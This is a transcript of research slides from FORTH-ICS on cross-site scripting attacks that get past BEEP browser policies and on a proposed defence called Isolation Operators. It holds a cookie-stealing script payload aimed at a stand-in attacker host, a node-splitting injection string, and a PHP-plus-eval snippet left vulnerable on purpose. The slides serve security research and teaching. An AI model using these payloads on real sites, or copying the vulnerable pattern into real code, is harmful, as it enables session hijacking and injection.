Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium...

48
Code-Injection Attacks in Browsers Supporting Policies Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Transcript of Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium...

Page 1: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Code-Injection Attacks in Browsers Supporting Policies

Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos

FORTH-ICS

Page 2: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

What is all about?

New code-injection attacks or

return-to-libc attacks in the web

EliasAthanasopoulos,FORTH‐ICS 2CodeInjec=onA>acksinBrowsers

Suppor=ngPolicies

Page 3: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Motivation

  Cross-Site Scripting (XSS) is considered as a major threat   XSS attacks are roughly 80% of all documented

security vulnerabilities (Symantec, 2007)   McAfee Websites Vulnerable to Attacks (4th May

2009)

  Web sites are becoming richer   AJAX interfaces   Increase of client-side code (JavaScript)

EliasAthanasopoulos,FORTH‐ICS 3Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 4: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

XSS Mitigation

  Static analysis   Taint analysis   Server/Client sanitization   HTTP Cookies   Enforcing policies in the browser

EliasAthanasopoulos,FORTH‐ICS 4Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 5: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

XSS Mitigation

  Static analysis   Taint analysis   Server/Client sanitization   HTTP Cookies   Enforcing policies in the browser

T. Jim, N. Swamy, and M. Hicks. BEEP: Defeating script injection attacks with

browser-enforced embedded policies (ACM WWW 2007)

EliasAthanasopoulos,FORTH‐ICS 5Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 6: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Overview

  How can an attacker bypass BEEP   return-to-libc attacks in the web

  A new framework for XSS mitigation based on Isolation Operators

EliasAthanasopoulos,FORTH‐ICS 6Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 7: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Roadmap

  XSS Short Introduction   BEEP & Attacks   Isolation Operators   Conclusion   Demo

EliasAthanasopoulos,FORTH‐ICS 7Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 8: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

XSS Short Introduction

  XSS Short Introduction   BEEP & Attacks   Isolation Operators   Conclusion   Demo

EliasAthanasopoulos,FORTH‐ICS 8Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 9: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

An Example

  A user posts a comment to a blog story   She enters some JavaScript inside

  My cool comment. <script>location.href = www.attacker.com/document.cookie </script>

  Alice is browsing also the story; the script renders in her browser

  The attacker receives a request to her server with Alice’s cookie

EliasAthanasopoulos,FORTH‐ICS 9Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 10: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Stealing Cookies…

  The attacker has managed to steal Alice’s Cookie

  The attacker is able to hijack Alice’s session   Login to the web site with Alice’s credentials   Perform actions in the web site like she was Alice

EliasAthanasopoulos,FORTH‐ICS 10Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 11: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

…is not the only way!

  The attacker could inject JavaScript code that performs operations on the web site   Delete Alice’s comments   Post comments (with Alice’s credentials)

  If Alice had administrator privileges   The attacker could take full control of the web

site in some occasions

EliasAthanasopoulos,FORTH‐ICS 11Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 12: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

XSS != Cookie Stealing

  A buffer overflow attack compromises an application  This can sometimes lead to host compromising

  An XSS attack compromises a web application  This can sometimes lead to web system

compromising (e.g. the ‘’Google system’’)

EliasAthanasopoulos,FORTH‐ICS 12Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 13: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

BEEP & Attacks

  XSS Short Introduction   BEEP & Attacks   Isolation Operators   Conclusion   Demo

EliasAthanasopoulos,FORTH‐ICS 13Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 14: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

BEEP

  The web server embeds policies in web documents

  The web browser   Identifies trusted and non trusted client-side

code   Executes client-side code according to the

defined policies

EliasAthanasopoulos,FORTH‐ICS 14Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 15: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Assumptions

Web browsers have all the required complexity in order to detect (parse) and render a script

EliasAthanasopoulos,FORTH‐ICS 15Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 16: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Assumptions

The web application developer knows exactly which scripts are trusted to be executed in the

web browser

grep -i ”\<script" -o fb-home.php | wc -l

23

EliasAthanasopoulos,FORTH‐ICS 16Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 17: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Policy Enforcement

  Script Whitelisting   DOM Sandboxing

EliasAthanasopoulos,FORTH‐ICS 17Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 18: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Script Whitelisting

  Web server   Generates a cryptographic hash for each script it

produces   Injects in each web document the list of

cryptographic hashes (white-list), corresponding to the trusted scripts

  Web browser   Using a hook, it checks if there is a hash in the

white-list for each script before execution

EliasAthanasopoulos,FORTH‐ICS 18Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 19: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Limitations

  No validation about   Script location in the web page   Asynchronous events (onload, onclick, etc.)

EliasAthanasopoulos,FORTH‐ICS 19Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 20: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

return-to-libc in the web

  An attacker could mount an attack using existing white-listed JavaScript code

return-to-libc: during a buffer overflow, the attacker transfers control to a location in libc instead to code in the injected buffer

EliasAthanasopoulos,FORTH‐ICS 20Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 21: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Examples

  Annoyance   Data Loss   Complete Takeover

EliasAthanasopoulos,FORTH‐ICS 21Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 22: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Vulnerable Blog 1: <html> 2: <head> <title> Blog! </title> <head> 3: <body> 4: <a onclick="logout();">Logout</a> 5: <div class="blog_entry" id="123">{TEXT...} <input

type="button" onclick="delete(123);"></div> 6: <div class="blog_comments”> 7: <li> <img onload="logout();" src="logo.gif"> 8: <li> <img onload="window.location.href=’http://

www.google.com’;" src="logo.gif"> 9: <li> <img onload="delete(123);"> 10: </div> 11: <a onclick="window.location.href=’http://

www.google.com’;">Google</a> 12: </body> 13:</html>

EliasAthanasopoulos,FORTH‐ICS 22Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 23: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Annoyance 1: <html> 2: <head> <title> Blog! </title> <head> 3: <body> 4: <a onclick="logout();">Logout</a> 5: <div class="blog_entry" id="123">{TEXT...} <input

type="button" onclick="delete(123);"></div> 6: <div class="blog_comments”> 7: <li> <img onload="logout();" src="logo.gif"> 8: <li> <img onload="window.location.href=’http://

www.google.com’;" src="logo.gif"> 9: <li> <img onload="delete(123);"> 10: </div> 11: <a onclick="window.location.href=’http://

www.google.com’;">Google</a> 12: </body> 13:</html>

EliasAthanasopoulos,FORTH‐ICS 23Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 24: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Data Loss 1: <html> 2: <head> <title> Blog! </title> <head> 3: <body> 4: <a onclick="logout();">Logout</a> 5: <div class="blog_entry" id="123">{TEXT...} <input

type="button" onclick="delete(123);"></div> 6: <div class="blog_comments”> 7: <li> <img onload="logout();" src="logo.gif"> 8: <li> <img onload="window.location.href=’http://

www.google.com’;" src="logo.gif"> 9: <li> <img onload="delete(123);"> 10: </div> 11: <a onclick="window.location.href=’http://

www.google.com’;">Google</a> 12: </body> 13:</html>

EliasAthanasopoulos,FORTH‐ICS 24Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 25: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

DOM Sandboxing

  The server marks specific regions as trusted   <div class=untrust> … no code here … </div>

  The browser executes code only in trusted regions

EliasAthanasopoulos,FORTH‐ICS 25Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 26: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Vulnerability

  Node splitting   <div class=untrusted> {content} </div>   content := </div><div class=trusted> {script} </div><div class=untrusted>

  Countermeasure   Noncespaces: Using Randomization to Enforce

Information Flow Tracking and Thwart XSS Attacks (NDSS 2009)

EliasAthanasopoulos,FORTH‐ICS 26Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 27: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

DOM Sandboxing Limitations

  Marking div/span elements with trust properties requires human effort

grep -i ”\<div" -o fb-home.php | wc -l

2708 grep -i "\/span" -o fb-home.php | wc –l

982

  Sometimes an attack can take place without having a DOM tree   Secure Content Sniffing for Web Browsers, or How to

Stop Papers from Reviewing Themselves (Oakland 2009)

EliasAthanasopoulos,FORTH‐ICS 27Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 28: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Isolation Operators

  XSS Short Introduction   BEEP & Attacks   Isolation Operators   Conclusion   Demo

EliasAthanasopoulos,FORTH‐ICS 28Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 29: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Overview

  We propose a framework for complete isolation of trusted client-side code

  Key properties   Attack coverage   Easy implementation   Low overhead

EliasAthanasopoulos,FORTH‐ICS 29Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 30: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Architecture

  Code separation at development time   Isolation operators   Browser actions

EliasAthanasopoulos,FORTH‐ICS 30Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 31: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Code Separation

  We propose client-side code separation at development time

  Server-side technologies already use similar code separation schemes   PHP (<?php and ?>)

  Enforcing the scheme in JavaScript can successfully tag all legitimate JavaScript

EliasAthanasopoulos,FORTH‐ICS 31Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 32: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Example

<html> <img onload+=”render();”> <div class=‘welcome’> <<<< alert(“Hello World”); >>>> </div> </html>

EliasAthanasopoulos,FORTH‐ICS 32Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 33: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Isolation Operators

  An Isolation Operator (IO) acts on entire blocks of code

  An IO transposes a block of code in a new isolated domain

  The isolated domain can not be ad hoc executed

  The code must be de-isolated first and then executed

EliasAthanasopoulos,FORTH‐ICS 33Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 34: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

IO Examples

  XOR   Symmetric encryption (e.g. AES)   Matrix multiplication

  Create a matrix with the bytes of a script   Multiply it with a matrix

EliasAthanasopoulos,FORTH‐ICS 34Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 35: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

IO Examples

  XOR   Symmetric encryption (e.g. AES)   Matrix multiplication

  Create a matrix with the bytes of a script   Multiply it with a matrix

EliasAthanasopoulos,FORTH‐ICS 35Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 36: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

In Action

<html> <div class=‘welcome’> <<<<

alert(“Hello World”); >>>> </div> </html>

EliasAthanasopoulos,FORTH‐ICS 36Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 37: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Applying IO

<html> <div class=‘welcome’> <script>

vpSUlJTV2NHGwJyW/NHY... </script> </div> </html>

EliasAthanasopoulos,FORTH‐ICS 37Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 38: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Browser Actions

  Policies are expressed in the browser environment as actions

  The browser de-isolates and executes client-side code, instead of simply executing it

  Example   Look for X-IO-Key in HTTP headers   Apply XOR (X-IO-Key) and execute

EliasAthanasopoulos,FORTH‐ICS 38Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 39: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Conclusion

  XSS Short Introduction   BEEP & Attacks   Isolation Operators   Conclusion   Demo

EliasAthanasopoulos,FORTH‐ICS 39Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 40: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Conclusion

  Identify limitations of current policy based approaches for XSS mitigation

  Introduce new XSS attacks   return-to-libc in the web

  Proposal of an XSS mitigation scheme based on Isolation Operators

EliasAthanasopoulos,FORTH‐ICS 40Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 41: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Ongoing Work

  Implementation of Isolation Operators in three leading web browsers   Firefox, WebKit (Safari), Chromium

  Implementation of the server-side part in Apache

  Full evaluation   Attack coverage, server overhead, client

overhead, user-experience   Full paper under submission

EliasAthanasopoulos,FORTH‐ICS 41Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 42: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Demo

EliasAthanasopoulos,FORTH‐ICS 42Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 43: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Thank you!

Elias Athanasopoulos FORTH-ICS

[email protected]

EliasAthanasopoulos,FORTH‐ICS 43Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 44: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

BACKUP

EliasAthanasopoulos,FORTH‐ICS 44Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 45: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

IO vs ISR

  Isolation Operators (IO) are heavily inspired by Instruction Set Randomization (ISR)

  ISR operates on instruction set   IOs operate on blocks of source code

EliasAthanasopoulos,FORTH‐ICS 45Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 46: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

IO vs ISR

  ISR alert42(“…”);

  IO vpSUlJTV2NHGwJyW/NHY...

EliasAthanasopoulos,FORTH‐ICS 46Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 47: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Why IO for JavaScript?

  Server lacks support for JavaScript handling   Applying ISR for JavaScript

  Requires at least a full JavaScript parser at the server side

  The source will be parsed twice (one in production time and one in execution time)

EliasAthanasopoulos,FORTH‐ICS 47Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies

Page 48: Code-Injection Attacks in Browsers Supporting Policies · Firefox, WebKit (Safari), Chromium Implementation of the server-side part in Apache Full evaluation Attack coverage, server

Evil eval()

<?php $s = "<div id=’malicious’>" . $_GET["id"] . "</div>";echo $s;

?> <script> eval(document.getElementById(’malicious’).innerHTML);

</script>

EliasAthanasopoulos,FORTH‐ICS 48Code‐Injec=onA>acksinBrowsers

Suppor=ngPolicies